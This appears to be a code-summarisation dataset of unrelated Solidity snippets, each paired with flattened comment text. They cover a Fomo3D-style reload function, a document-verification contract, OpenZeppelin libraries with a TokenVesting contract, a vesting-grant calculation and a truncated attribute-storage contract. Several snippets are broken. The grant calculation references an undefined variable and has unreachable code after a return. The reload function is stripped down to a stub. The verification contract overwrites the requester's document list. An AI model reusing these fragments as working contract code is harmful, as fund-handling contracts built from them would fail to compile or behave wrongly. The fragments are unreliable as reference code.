essentially the same as buy, but instead of you sending ether from your wallet, it uses your unwithdrawn earnings. -functionhash- 0x349cdcac (using ID for affiliate) -functionhash- 0x82bfc739 (using address for affiliate) -functionhash- 0x079ce327 (using name for affiliate) _affCode the ID/address/name of the player who gets the affiliate fee _team what team is the player playing for? _eth amount of earnings to use (remainder returned to gen vault)/ set up our tx event data fetch player ID manage affiliate residuals if no affiliate code was given or player tried to use their own, lolz use last stored affiliate code if affiliate code was given & its not the same as previously stored update last affiliate
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { Star3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; plyr_[_pID].laff = _affCode; } }
3,587,709
pragma solidity ^0.4.17; contract Docverify { string public message; struct docDetails { string dataHash; string status; bool isDiscoverable; address verifiedBy; address requestedBy; } //owner to docs mapping mapping(address => docDetails[]) docs; //verifier to docs mapping mapping(address => docDetails[]) docsToVerify; //get the status of the doc function getDocStatus(address owner, string docHash) public returns(string) { docDetails[] storage dd = docs[owner]; for(uint i=0; i<dd.length; i++ ){ if(getHash(docHash) == getHash(dd[i].dataHash) && (dd[i].isDiscoverable == true || msg.sender == owner)){ return dd[i].status; } } return "UNKNOWN"; } //update discoverable attribute if document function updateDocDetails(string docHash, bool isDiscoverable) public { docDetails[] storage dd = docs[msg.sender]; for(uint i=0; i< dd.length; i++ ){ if(getHash(docHash) == getHash(dd[i].dataHash)) { dd[i].isDiscoverable = isDiscoverable; } } } //Add docs to verify function addDocToVerify(address verifier, string dataHash, bool isDiscoverable) public { docDetails[] storage dd = docsToVerify[verifier]; //create a new doc docDetails memory newDoc = docDetails({dataHash: dataHash, status: "QUEUED", isDiscoverable: isDiscoverable, verifiedBy: address(0), requestedBy: msg.sender} ); //add to the list of docs to verify dd.push(newDoc); docs[msg.sender] = dd; } //verify a doc function verifyDoc(address docOwner, string docHash) public { //get doc details for the user docDetails[] storage dd = docsToVerify[msg.sender]; for(uint i=0; i<dd.length; i++ ){ //verify if doc hashes match if(getHash(docHash) == getHash(dd[i].dataHash)) { //update docs map //get docs for the owner docDetails[] storage requestorDocs = docs[dd[i].requestedBy]; //iterate through owner's docs for(uint j=0; j<requestorDocs.length; j++){ //verify if docs match if(getHash(docHash) == getHash(requestorDocs[j].dataHash)) { //update docs status docDetails storage updatedDetails = requestorDocs[j]; updatedDetails.verifiedBy = msg.sender; updatedDetails.status = "VERIFIED"; //remove the doc from the verifier map delete dd[i]; } } } } } function getHash(string dataHash) public pure returns (bytes32) { return keccak256(abi.encodePacked(dataHash)); } }
verify a docget doc details for the userverify if doc hashes matchupdate docs mapget docs for the owneriterate through owner's docsverify if docs matchupdate docs statusremove the doc from the verifier map
function verifyDoc(address docOwner, string docHash) public { docDetails[] storage dd = docsToVerify[msg.sender]; for(uint i=0; i<dd.length; i++ ){ if(getHash(docHash) == getHash(dd[i].dataHash)) { docDetails[] storage requestorDocs = docs[dd[i].requestedBy]; for(uint j=0; j<requestorDocs.length; j++){ if(getHash(docHash) == getHash(requestorDocs[j].dataHash)) { docDetails storage updatedDetails = requestorDocs[j]; updatedDetails.verifiedBy = msg.sender; updatedDetails.status = "VERIFIED"; delete dd[i]; } } } } }
900,771
/** *Submitted for verification at Etherscan.io on 2021-05-21 */ // File: @openzeppelin/contracts/utils/math/SafeMath.sol // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // File: @openzeppelin/contracts/utils/Context.sol pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol pragma solidity ^0.8.0; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File: TokenVesting.sol pragma solidity 0.8.3; /** * @title TokenVesting * @dev A token holder contract that can release its token balance gradually like a * typical vesting scheme, with a cliff and vesting period. Optionally revocable by the * owner. */ contract TokenVesting is Ownable { // The vesting schedule is time-based (i.e. using block timestamps as opposed to e.g. block numbers), and is // therefore sensitive to timestamp manipulation (which is something miners can do, to a certain degree). Therefore, // it is recommended to avoid using short time durations (less than a minute). Typical vesting schemes, with a // cliff period of a year and a duration of four years, are safe to use. // solhint-disable not-rely-on-time using SafeMath for uint256; using SafeERC20 for IERC20; event TokensReleased(address token, uint256 amount); event TokenVestingRevoked(address token); // Beneficiary of tokens after they are released address private _beneficiary; // Durations and timestamps are expressed in UNIX time, the same units as block.timestamp. uint256 private _start; uint256 private _cliff; uint256 private _duration; uint256 private _end; bool private _revocable; mapping (address => uint256) private _released; mapping (address => bool) private _revoked; /** * @dev Creates a vesting contract that vests its balance of any ERC20 token to the * beneficiary, gradually in a linear fashion until start + duration. By then all * of the balance will have vested. * @param beneficiary_ address of the beneficiary to whom vested tokens are transferred * @param start_ the time (as Unix time) at which point vesting starts * @param cliff_ duration in seconds of the cliff in which tokens will begin to vest * @param duration_ duration in seconds of the period in which the tokens will vest * @param revocable_ whether the vesting is revocable or not */ constructor ( address beneficiary_, uint256 start_, uint256 cliff_, uint256 duration_, bool revocable_ ) { require(beneficiary_ != address(0), "TokenVesting: beneficiary is the zero address"); require(cliff_ <= duration_, "TokenVesting: cliff is longer than duration"); require(duration_ > 0, "TokenVesting: duration is 0"); require(start_.add(duration_) > block.timestamp, "TokenVesting: final time is before current time"); _beneficiary = beneficiary_; _revocable = revocable_; _duration = duration_; _cliff = start_.add(cliff_); _end = start_.add(duration_); _start = start_; } /** * @notice Transfers vested tokens to beneficiary. * @param token ERC20 token which is being vested */ function release(IERC20 token) external { uint256 unreleased = releasableAmount(token); require(unreleased > 0, "TokenVesting: no tokens are due"); _released[address(token)] = _released[address(token)].add(unreleased); token.safeTransfer(_beneficiary, unreleased); emit TokensReleased(address(token), unreleased); } /** * @notice Allows the owner to revoke the vesting. Tokens already vested * remain in the contract, the rest are returned to the owner. * @param token ERC20 token which is being vested */ function revoke(IERC20 token) external onlyOwner { require(_revocable, "TokenVesting: cannot revoke"); require(!_revoked[address(token)], "TokenVesting: token already revoked"); uint256 balance = token.balanceOf(address(this)); uint256 unreleased = releasableAmount(token); uint256 refund = balance.sub(unreleased); _revoked[address(token)] = true; token.safeTransfer(owner(), refund); emit TokenVestingRevoked(address(token)); } /** * @return the beneficiary of the tokens. */ function beneficiary() public view returns (address) { return _beneficiary; } /** * @return the start time of the token vesting. */ function start() public view returns (uint256) { return _start; } /** * @return the cliff time of the token vesting. */ function cliff() public view returns (uint256) { return _cliff; } /** * @return the duration of the token vesting. */ function duration() public view returns (uint256) { return _duration; } /** * @return true if the vesting is revocable. */ function revocable() public view returns (bool) { return _revocable; } /** * @return the amount of the token released. */ function released(address token) public view returns (uint256) { return _released[token]; } /** * @return true if the token is revoked. */ function revoked(address token) public view returns (bool) { return _revoked[token]; } /** * @dev Calculates the amount that has already vested but hasn't been released yet. * @param token ERC20 token which is being vested */ function releasableAmount(IERC20 token) public view returns (uint256) { return vestedAmount(token).sub(_released[address(token)]); } /** * @dev Calculates the amount that has already vested. * @param token ERC20 token which is being vested */ function vestedAmount(IERC20 token) public view returns (uint256) { uint256 currentBalance = token.balanceOf(address(this)); uint256 totalBalance = currentBalance.add(_released[address(token)]); if (block.timestamp < _cliff) { return 0; } else if (block.timestamp >= _end || _revoked[address(token)]) { return totalBalance; } else { return totalBalance.mul(block.timestamp.sub(_start)).div(_duration); } } }
return the start time of the token vesting./
function start() public view returns (uint256) { return _start; }
337,828
./partial_match/1/0x1307E214dFcD33F0639d4F8725bD628c0E79E734/sources/VestingVault12.sol
Calculate the vested and unclaimed months and tokens available for `_grantId` to claim Due to rounding errors once grant duration is reached, returns the entire left grant amount Returns (0, 0) if cliff has not been reached For grants created with a future start date, that hasn't been reached, return 0, 0 If over vesting duration, all tokens vested
function calculateGrantClaim(uint256 _grantId) public view returns (uint16, uint256) { Grant storage tokenGrant = tokenGrants[_grantId]; if (currentTime() < tokenGrant.startTime) { return (0, 0); } uint256 elapsedDays = elapsedTime.div(SECONDS_PER_DAY); if (elapsedDays < tokenGrant.vestingCliff) { return (uint16(elapsedDays), 0); } if (elapsedDays >= tokenGrant.vestingDuration) { uint256 remainingGrant = tokenGrant.amount.sub(tokenGrant.totalClaimed); return (tokenGrant.vestingDuration, remainingGrant); uint16 daysVested = uint16(elapsedDays.sub(tokenGrant.daysClaimed)); uint256 amountVestedPerDay = tokenGrant.amount.div(uint256(tokenGrant.vestingDuration)); uint256 amountVested = uint256(daysVested.mul(amountVestedPerDay)); return (daysVested, amountVested); } }
4,042,962
// SPDX-License-Identifier: MIT pragma solidity ^0.8.3; import './openzeppelin-solidity/contracts/SafeMath.sol'; import './openzeppelin-solidity/contracts/Ownable.sol'; import './openzeppelin-solidity/contracts/ERC20/SafeERC20.sol'; //Libraries import "./libraries/TxDataUtils.sol"; //Interfaces import "./interfaces/IExternalStorage.sol"; import "./interfaces/IUsers.sol"; contract ExternalStorage is IExternalStorage, TxDataUtils, Ownable { using SafeERC20 for IERC20; IUsers public immutable users; bytes32[] public attributeNames; IERC20 public feeToken; address public feeRecipient; address public operator; // User ERC1155 contract mapping(bytes32 => Attribute) public attributes; //Data storage //Maps from attribute name => NFT ID => data mapping(bytes32 => mapping (uint => uint)) internal uintStorage; mapping(bytes32 => mapping (uint => bool)) internal boolStorage; mapping(bytes32 => mapping (uint => address)) internal addressStorage; mapping(bytes32 => mapping (uint => bytes32)) internal bytes32Storage; mapping(bytes32 => mapping (uint => string)) internal stringStorage; //Used for checking if an attribute's value is unique //Maps from attribute name => data => NFT ID mapping(bytes32 => mapping (bytes => uint)) internal bytesData; constructor(address _feeToken, address _feeRecipient, address _users) Ownable() { require(_feeToken != address(0), "ExternalStorage: Invalid fee token."); require(_feeRecipient != address(0), "ExternalStorage: Invalid fee recipient."); feeToken = IERC20(_feeToken); feeRecipient = _feeRecipient; users = IUsers(_users); } /* ========== VIEWS ========== */ /** * @dev Given the name of an attribute, returns the attribute's variable type * @param _attributeName Name of the attribute * @return (string, uint) The attribute's variable type and update fee */ function getAttribute(bytes32 _attributeName) external view override isValidAttributeName(_attributeName) returns (bytes32, uint) { return (attributes[_attributeName].variableType, attributes[_attributeName].updateFee); } /** * @dev Returns the name, variable type, and update fee for each attribute * @return (bytes32[], bytes32[], uint[]) The name, variable type, and update fee of each attribute */ function getAttributes() external view override returns (bytes32[] memory, bytes32[] memory, uint[] memory) { bytes32[] memory names = attributeNames; bytes32[] memory types = new bytes32[](names.length); uint[] memory fees = new uint[](names.length); for (uint i = 0; i < names.length; i++) { types[i] = attributes[attributeNames[i]].variableType; fees[i] = attributes[attributeNames[i]].updateFee; } return (names, types, fees); } /** * @dev Returns the bytes data and variable type of an attribute * @dev The calling function needs to parse the bytes data based on the variable type * @param _id NFT id * @param _attributeName Name of the attribute * @return (bytes, bytes32) Bytes data of the attribute and the attribute's variable type */ function getValue(uint _id, bytes32 _attributeName) external view override isValidId(_id) isValidAttributeName(_attributeName) returns (bytes memory, bytes32) { bytes32 variableType = attributes[_attributeName].variableType; bytes memory rawBytes; if (keccak256(abi.encodePacked(variableType)) == keccak256(abi.encodePacked("uint"))) { rawBytes = abi.encodePacked(uintStorage[_attributeName][_id]); } else if (keccak256(abi.encodePacked(variableType)) == keccak256(abi.encodePacked("bool"))) { rawBytes = abi.encodePacked(boolStorage[_attributeName][_id]); } else if (keccak256(abi.encodePacked(variableType)) == keccak256(abi.encodePacked("address"))) { rawBytes = abi.encodePacked(addressStorage[_attributeName][_id]); } else if (keccak256(abi.encodePacked(variableType)) == keccak256(abi.encodePacked("bytes32"))) { rawBytes = abi.encodePacked(bytes32Storage[_attributeName][_id]); } else if (keccak256(abi.encodePacked(variableType)) == keccak256(abi.encodePacked("string"))) { rawBytes = bytes(stringStorage[_attributeName][_id]); } return (rawBytes, variableType); } /** * @dev Returns the attribute's value as a uint * @dev Reverts if the attribute is not found or if the attribute doesn't have uint type * @param _id NFT id * @param _attributeName Name of the attribute * @return (uint) Value of the attribute */ function getUintValue(uint _id, bytes32 _attributeName) external view override isValidId(_id) isValidAttributeName(_attributeName) returns (uint) { require(keccak256(abi.encodePacked(attributes[_attributeName].variableType)) == keccak256(abi.encodePacked("uint")), "ExternalStorage: Expected uint type."); return uintStorage[_attributeName][_id]; } /** * @dev Returns the attribute's value as a bool * @dev Reverts if the attribute is not found or if the attribute doesn't have bool type * @param _id NFT id * @param _attributeName Name of the attribute * @return (bool) Value of the attribute */ function getBoolValue(uint _id, bytes32 _attributeName) external view override isValidId(_id) isValidAttributeName(_attributeName) returns (bool) { require(keccak256(abi.encodePacked(attributes[_attributeName].variableType)) == keccak256(abi.encodePacked("bool")), "ExternalStorage: Expected bool type."); return boolStorage[_attributeName][_id]; } /** * @dev Returns the attribute's value as a bytes32 * @dev Reverts if the attribute is not found or if the attribute doesn't have bytes32 type * @param _id NFT id * @param _attributeName Name of the attribute * @return (bytes32) Value of the attribute */ function getBytes32Value(uint _id, bytes32 _attributeName) external view override isValidId(_id) isValidAttributeName(_attributeName) returns (bytes32) { require(keccak256(abi.encodePacked(attributes[_attributeName].variableType)) == keccak256(abi.encodePacked("bytes32")), "ExternalStorage: Expected bytes32 type."); return bytes32Storage[_attributeName][_id]; } /** * @dev Returns the attribute's value as an address * @dev Reverts if the attribute is not found or if the attribute doesn't have address type * @param _id NFT id * @param _attributeName Name of the attribute * @return (address) Value of the attribute */ function getAddressValue(uint _id, bytes32 _attributeName) external view override isValidId(_id) isValidAttributeName(_attributeName) returns (address) { require(keccak256(abi.encodePacked(attributes[_attributeName].variableType)) == keccak256(abi.encodePacked("address")), "ExternalStorage: Expected address type."); return addressStorage[_attributeName][_id]; } /** * @dev Returns the attribute's value as a string * @dev Reverts if the attribute is not found or if the attribute doesn't have string type * @param _id NFT id * @param _attributeName Name of the attribute * @return (string) Value of the attribute */ function getStringValue(uint _id, bytes32 _attributeName) external view override isValidId(_id) isValidAttributeName(_attributeName) returns (string memory) { require(keccak256(abi.encodePacked(attributes[_attributeName].variableType)) == keccak256(abi.encodePacked("string")), "ExternalStorage: Expected string type."); return stringStorage[_attributeName][_id]; } /* ========== MUTATIVE FUNCTIONS ========== */ /** * @dev Adds an attribute to the Template * @param _attributeName Name of the attribute to add * @param _attributeType The variable type of the attribute * @param _updateFee Fee that a user pays when updating an attribute * @param _canModify Whether the attribute value can be modified after it is initialized. * @return (bool) Whether the attribute was added successfully */ function addAttribute(bytes32 _attributeName, bytes32 _attributeType, uint _updateFee, bool _unique, bool _canModify) external override onlyOwner returns (bool) { if (attributes[_attributeName].name == _attributeName) { return false; } attributes[_attributeName] = Attribute(_unique, _canModify, _updateFee, _attributeName, _attributeType); attributeNames.push(_attributeName); return true; } /** * @dev Adds multiple attributes to the Template * @param _attributeNames Names of 